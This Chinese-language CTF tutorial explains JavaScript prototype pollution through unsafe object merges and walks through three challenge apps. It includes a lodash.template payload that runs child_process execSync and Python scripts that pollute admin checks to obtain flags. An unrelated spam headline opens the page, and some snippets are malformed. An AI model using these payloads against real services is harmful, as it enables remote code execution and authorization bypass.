asp網(wǎng)站vps搬家2024年重大新聞簡短
想要很清楚了理解原型鏈污染我們首先必須要弄清楚原型鏈這個概念
可以看這篇文章:對象的繼承和原型鏈
目錄
prototype和__proto__分別是什么?
原型鏈繼承
原型鏈污染是什么
哪些情況下原型鏈會被污染?
例題1:Code-Breaking 2018 Thejs 分析
例題2:hackit-2018
?例題3:hackim-2019
prototype和__proto__分別是什么?
JavaScript中,我們?nèi)绻x一個類,需要以定義“構(gòu)造函數(shù)”的方式來定義:
function Foo() { //構(gòu)造函數(shù)this.bar = 1 //構(gòu)造函數(shù)的一個屬性
}
new Foo()
構(gòu)造函數(shù)一般函數(shù)名的首字母必須大寫,Foo函數(shù)就是一個構(gòu)造函數(shù),Foo
函數(shù)的內(nèi)容,就是Foo
類的構(gòu)造函數(shù),而this.bar
就是Foo
類的一個屬性。
為了簡化編寫JavaScript代碼,ECMAScript 6后增加了
class
語法,但class
其實只是一個語法糖。
一個類必然有一些方法,類似屬性this.bar
,我們也可以將方法定義在構(gòu)造函數(shù)內(nèi)部:
function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}
?
(new Foo()).show()
這里定義的show就是一個方法
但這樣寫有一個問題,就是每當我們新建一個Foo對象時,this.show = function...
就會執(zhí)行一次,問題的愿意就是因為:這個show
方法實際上是綁定在對象上的,而不是綁定在“類”中。
我們希望在創(chuàng)建類的時候只創(chuàng)建一次show
方法,這時候就則需要使用原型(prototype)了:
function Foo() {this.bar = 1
}
?
Foo.prototype.show = function show() {console.log(this.bar)
}
?
let foo = new Foo()
foo.show()
我們可以認為原型prototype
是類Foo
的一個屬性,而所有用Foo
類實例化的對象,都將擁有這個屬性中的所有內(nèi)容,包括變量和方法。
我們可以通過Foo.prototype
來訪問Foo
類的原型,這里就又出現(xiàn)了一個問題:Foo
實例化出來的對象不能通過prototype訪問原型的。
這時候,就該__proto__
登場了。
一個Foo類實例化出來的foo對象,可以通過foo.__proto__
屬性來訪問Foo類的原型,也就是說:
foo.__proto__ == Foo.prototype
所以,總結(jié)一下:
-
prototype
是一個類的屬性,所有類對象在實例化的時候?qū)碛?code>prototype中的屬性和方法 -
一個對象的
__proto__
屬性,指向這個對象所在的類的prototype
屬性
原型鏈繼承
所有類對象在實例化的時候?qū)碛?code>prototype中的屬性和方法,這個特性被用來實現(xiàn)JavaScript中的繼承機制。
比如:
function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father() //Son繼承了 Father()let son = new Son() //son繼承l(wèi)Son的方法和屬性
console.log(`Name: ${son.first_name} ${son.last_name}`) //這里找到了Father中的這兩個屬性
總結(jié)一下,對于對象son,在調(diào)用son.last_name
的時候,實際上JavaScript引擎會進行如下操作:
-
在對象son中尋找last_name
-
如果找不到,則在
son.__proto__
中尋找last_name -
如果仍然找不到,則繼續(xù)在
son.__proto__.__proto__
中尋找last_name -
依次尋找,直到找到
null
結(jié)束。比如,Object.prototype
的__proto__
就是null
JavaScript的這個查找的機制,被運用在面向?qū)ο蟮睦^承中,被稱作prototype繼承鏈。
以上就是最基礎的JavaScript面向?qū)ο缶幊?#xff0c;我們并不深入研究更細節(jié)的內(nèi)容,只要牢記以下幾點即可:
-
每個構(gòu)造函數(shù)(constructor)都有一個原型對象(prototype)
-
對象的
__proto__
屬性,指向類的原型對象prototype
-
JavaScript使用prototype鏈實現(xiàn)繼承機制
原型鏈污染是什么
前面說到,foo.__proto__
指向的是Foo
類的prototype
。
那么,如果我們修改了foo.__proto__
中的值,是不是就可以修改Foo類呢?
做個簡單的實驗:
let foo = { bar: 1 }
console.log(foo.bar);
//這里打印 1很正常
foo.__proto__.bar = 2
// foo.__proto__ === Object.prototype
//這里給Object.prototype創(chuàng)建了一個bar賦值為2
console.log(foo.bar);
//這里打印的foo.bar還是foo的bar
let zoo = {}
console.log(zoo.bar);
//這里因為zoo沒有定義bar,
// 所以就會到Object.prototype去找bar,就會找到2
最后,雖然zoo是一個空對象{}
,但zoo.bar
的結(jié)果居然是2:?
原因也顯而易見:因為前面我們修改了foo的原型foo.__proto__.bar = 2
,而foo是一個Object類的實例,所以實際上是修改了Object這個類,給這個類增加了一個屬性bar,值為2。
后來,我們又用Object類創(chuàng)建了一個zoo對象let zoo = {}
,zoo對象自然也有一個bar屬性了。
那么,在一個應用中,如果攻擊者控制并修改了一個對象的原型,那么將可以影響所有和這個對象來自同一個類、父祖類的對象。
這種攻擊方式就是原型鏈污染。
哪些情況下原型鏈會被污染?
在實際應用中,哪些情況下可能存在原型鏈能被攻擊者修改的情況呢?
我們思考一下,哪些情況下我們可以設置__proto__
的值呢?
其實找找能夠控制數(shù)組(對象)的“鍵名”的操作即可:
-
對象merge(克隆)?
-
對象clone(其實內(nèi)核就是將待操作的對象 merge到一個空對象中)
以對象merge為例,我們想象一個簡單的merge函數(shù):
function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}
在合并的過程中,存在賦值的操作target[key] = source[key]
,那么,這個key如果是__proto__
,是不是就可以原型鏈污染呢?
我們用如下代碼實驗一下:
function merge(target, source) { //接收兩個參數(shù)for (let key in source) { //判斷source是否有相應的keyif (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]//把第二個參數(shù)中的key賦值給了第一個參數(shù)中的key}}
}
var x = {// name: 'oupeng',age: 18
}
var y = {// name: 'abc',age: 19,num: 100
}
merge(x, y);
console.log(x);
console.log(y);let o1 = {}//o1是空的
let o2 = { a: 1, "__proto__": { b: 2 } }
//o2對象對象里面有兩個參數(shù)
merge(o1, o2) //將o2里面的屬性,給o1
console.log(o1.a, o1.b)
//這里打印出來應該是1,2
o3 = {}
console.log(o3.b)
結(jié)果是,合并雖然成功了,但原型鏈沒有被污染:?
這是因為,我們用JavaScript創(chuàng)建o2的過程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已經(jīng)代表o2的原型了,此時遍歷o2的所有鍵名,你拿到的是[a, b]
,__proto__
并不是一個key,自然也不會修改Object的原型。
那么,如何讓__proto__
被認為是一個鍵名呢?
我們將代碼改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
//將json解析為js對象
merge(o1, o2)
console.log(o1.a, o1.b)
?
o3 = {}
console.log(o3.b)
可見,新建的o3對象,也存在b屬性,說明Object已經(jīng)被污染:?
這是因為,JSON解析的情況下,__proto__
會被認為是一個真正的“鍵名”,而不代表“原型”,所以在遍歷o2的時候會存在這個鍵。
總結(jié):merge操作是最常見可能控制鍵名的操作,也最能被原型鏈攻擊,很多常見的庫都存在這個問題。
例題1:Code-Breaking 2018 Thejs 分析
后端主要代碼如下(完整代碼可參考這里)
lodash是為了彌補JavaScript原生函數(shù)功能不足而提供的一個輔助功能集,其中包含字符串、數(shù)組、對象等操作。這個Web應用中,使用了lodash提供的兩個工具:
-
lodash.template
一個簡單的模板引擎 -
lodash.merge
函數(shù)或?qū)ο蟮暮喜?/p>
其實整個應用邏輯很簡單,用戶提交的信息,用merge方法合并到session里,多次提交,session里最終保存你提交的所有信息。
而這里的lodash.merge
操作實際上就存在原型鏈污染漏洞。
在污染原型鏈后,我們相當于可以給Object對象插入任意屬性,這個插入的屬性反應在最后的lodash.template
中。
我們看到lodash.template
的代碼:
// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source)//這里的Function是構(gòu)造函數(shù) .apply(undefined, importsValues);
});
options是一個對象,sourceURL取到了其options.sourceURL
屬性。
這個sourceURL屬性原本是沒有賦值的,默認取空字符串。
但因為原型鏈污染,我們可以給所有Object對象中都插入一個sourceURL
屬性。
最后,這個sourceURL
被拼接進new Function
的第二個參數(shù)中,造成任意代碼執(zhí)行漏洞。
我將帶有__proto__
的Payload以json的形式發(fā)送給后端,
因為express框架支持根據(jù)Content-Type來解析請求Body,這里給我們注入原型提供了很大方便:
具體過程:
代碼:這里
(1)我們首先在server.js目錄下新建一個re.js文件,將上面的代碼粘貼進去
(2)然后我們進入cmd命令行,cd到該文件所在路徑,使用node運行文件
注:如果報錯,說沒有某個模塊,那么可以使用
npm install
npm install 模塊名
這兩條命令任意一條來安裝需要的模塊
(3)然后我們可以嘗試在網(wǎng)頁訪問:你的ip地址:3000
(4)然后我們使用Burpsuite抓包訪問該頁面
Payload:
{"__proto__":{"sourceURL":\u000areturn ()=>{for (var a in{})}delete
Object.prototype[a];}return
global.process.mainModule.constructor._load('child_process').execSync('id')}\u00a//"}}
注:這里的 delete Object.prototype[a];是為了在進行了原型鏈污染后,刪除掉該變量,防止其他人訪問
例題2:hackit-2018
這里我使用的環(huán)境是window
(1)代碼
const express = require('express')
var hbs = require('hbs');
var bodyParser = require('body-parser');
const md5 = require('md5');
var morganBody = require('morgan-body');
const app = express();
var user = []; //empty for now
?
var matrix = [];
for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
}
?
function draw(mat) {var count = 0;for (var i = 0; i < 3; i++){for (var j = 0; j < 3; j++){if (matrix[i][j] !== null){count += 1;}}}return count === 9;
}
?
app.use(express.static('public'));
app.use(bodyParser.json());
app.set('view engine', 'html');
morganBody(app);
app.engine('html', require('hbs').__express);
?
app.get('/', (req, res) => {
?for (var i = 0; i < 3; i++){matrix[i] = [null , null, null];
?}res.render('index');
})
?
?
app.get('/admin', (req, res) => { /*this is under development I guess ??*/console.log(user.admintoken);if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');} ? ?
}
)
?
?
app.post('/api', (req, res) => {var client = req.body;var winner = null;
?if (client.row > 3 || client.col > 3){client.row %= 3;client.col %= 3;}matrix[client.row][client.col] = client.data;//這里可以這樣傳入值: matrix[__proto__][__admintoken] = oupeng//注:傳值時一定要用json的格式去傳值for(var i = 0; i < 3; i++){if (matrix[i][0] === matrix[i][1] && matrix[i][1] === matrix[i][2] ){if (matrix[i][0] === 'X') {winner = 1;}else if(matrix[i][0] === 'O') {winner = 2;}}if (matrix[0][i] === matrix[1][i] && matrix[1][i] === matrix[2][i]){if (matrix[0][i] === 'X') {winner = 1;}else if(matrix[0][i] === 'O') {winner = 2;}}}
?if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'X'){winner = 1;}if (matrix[0][0] === matrix[1][1] && matrix[1][1] === matrix[2][2] && matrix[0][0] === 'O'){winner = 2;}
?if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'X'){winner = 1;}if (matrix[0][2] === matrix[1][1] && matrix[1][1] === matrix[2][0] && matrix[2][0] === 'O'){winner = 2;}
?if (draw(matrix) && winner === null){res.send(JSON.stringify({winner: 0}))}else if (winner !== null) {res.send(JSON.stringify({winner: winner}))}else {res.send(JSON.stringify({winner: -1}))}
?
})
app.listen(3000, () => {console.log('app listening on port 3000!')
})
分析代碼后,我們可以看到,這里的if方法為true時,我們才可以正常的拿到falg,那么想要這if條件成立,需要滿足這個條件:user.admintoken的md5值與req.query.querytoken值必須保持一致
? if(user.admintoken && req.query.querytoken && md5(user.admintoken) === req.query.querytoken){res.send('Hey admin your flag is <b>flag{prototype_pollution_is_very_dangerous}</b>');} else {res.status(403).send('Forbidden');} ? ?
然后我們再看代碼后發(fā)現(xiàn)全文沒有對user.admintoken進行賦值,所以理論上這個值是不存在的,但是下面有一句話賦值語句:
matric[client.row][client.col] =client.data
由于client使我們可控的,然后data,row,col,都是我們post傳入的值,都是可控的,所以可以通過在這里傳入一個值,讓沒有值的user.admintoken,去原型鏈上尋找,就會找到我們給matric傳入的值,從而實現(xiàn)原型鏈污染
具體過程 :
(1)我們首先在Node.js目錄下新建一個re.js文件,將上面的代碼粘貼進去
(2)然后我們進入cmd命令行,cd到該文件所在路徑,使用node運行文件
?
注:如果報錯,說沒有某個模塊,那么可以使用
npm install
npm install 模塊名
這兩條命令任意一條來安裝需要的模塊
(3)編寫Python代碼來實現(xiàn)POST請求
import requests
import json
url = "http://你的ip地址:3000/api"
url1 ="http://你的ip地址:3000/admin?querytoken=824b7c531591af853d310b1b028107fe"#這里是yps的參數(shù)md5值
headers = {"Content-type":"application/json"}
data = {"row":"__proto__","col":"admintoken","data":"yps"}
res1=requests.post(url,headers=headers,data=json.dumps(data))#污染原型鏈
#這里的json.dump()是將數(shù)據(jù)轉(zhuǎn)換為js能夠解析的形式
res2=requests.get(url1)
print(res2.text)
?(4)運行Python文件
?
可以看到成功的通過原型鏈污染,拿到了flag!
?例題3:hackim-2019
代碼:
'use strict';
?
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
?
?
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
?
function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}
?
function clone(a) {return merge({}, a);
}
?
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
?
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
?
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body));var copybody = clone(body)if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
首先就是先看拿到值的條件:
? if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
這里需要admin.admin?== 1才能正常拿到?
通過分析以上代碼,我們可以發(fā)現(xiàn),上面的admin對象是一個空對象,沒有值。
function clone(a) {return merge({}, a);
}
這里我們可以使用merge給{}中提交一個key=__proto__,value=admin:1來進行原型鏈污染,就可以讓admin通過原型鏈找到admin的值==1,來滿足if條件,拿到if后面的值,那邊我們就可以通過a,本題中傳給的a是body來進行污染
具體過程
(1)首先和前面一樣新建一個名為re3.js文件
文件內(nèi)容就是前面的代碼
(2)然后我們進入cmd命令行,cd到該文件所在路徑,使用node運行文件
?
?注:如果在安裝包時有一個? ? "cookie-parser"包一個報錯,那么可以在node.js中的package.json中增加這樣一行:
"cookie-parser": "^1.4.6"
?
(3)編寫pythonPOST提交代碼
import requests
import json
url1 = "http://你的ip地址:8080/signup"
url2 = "http://你的ip地址:8080/getflag"
s = requests.session()
headers = {"Content-Type": "application/json"}
data1 = {"__proto__": {"admin": 1}}
res1 = s.post(url1, headers=headers, data=json.dumps(data1))
res2 = s.get(url1)
print(res2.text)
這里的res1會讓代碼中的body={"__proto__":{admin:1}}
然后代碼中的copybody = clone(body),會將body中的內(nèi)容克隆到 merge函數(shù)的空對象中,然后通過merge函數(shù)就會污染原型鏈,后面的res2就可以通過原型鏈拿到flag
(4)運行python代碼
?
通過結(jié)果可以看到,成功的拿到了flag!